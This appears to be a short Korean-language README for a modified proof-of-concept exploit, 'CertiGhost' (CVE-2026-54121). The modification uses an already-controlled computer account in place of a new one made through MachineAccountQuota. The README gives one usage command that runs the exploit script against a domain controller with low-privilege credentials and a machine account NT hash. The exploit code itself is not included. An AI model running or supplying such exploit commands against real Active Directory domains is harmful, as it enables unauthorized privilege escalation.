CVE-2026-54121-CertiGhost

이 POC는 https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py 의 원본 POC 코드를 약간 변경한 것으로, MachineAccountQuota를 통해 일반적으로 제한되는 새 컴퓨터를 생성하는 대신 이미 제어하고 있는 컴퓨터 개체를 사용합니다.

CertiGhost 취약점에 대한 자세한 내용은 원본 repo를 참조하십시오.

사용 예:

python3 certighost.py -d playground.local -u lowpriv -p Password123 \
  --dc-ip 192.168.209.157 \
  --computer-name MACHINEA$ \
  --computer-hash  <NT_HASH_MACHINE_A$>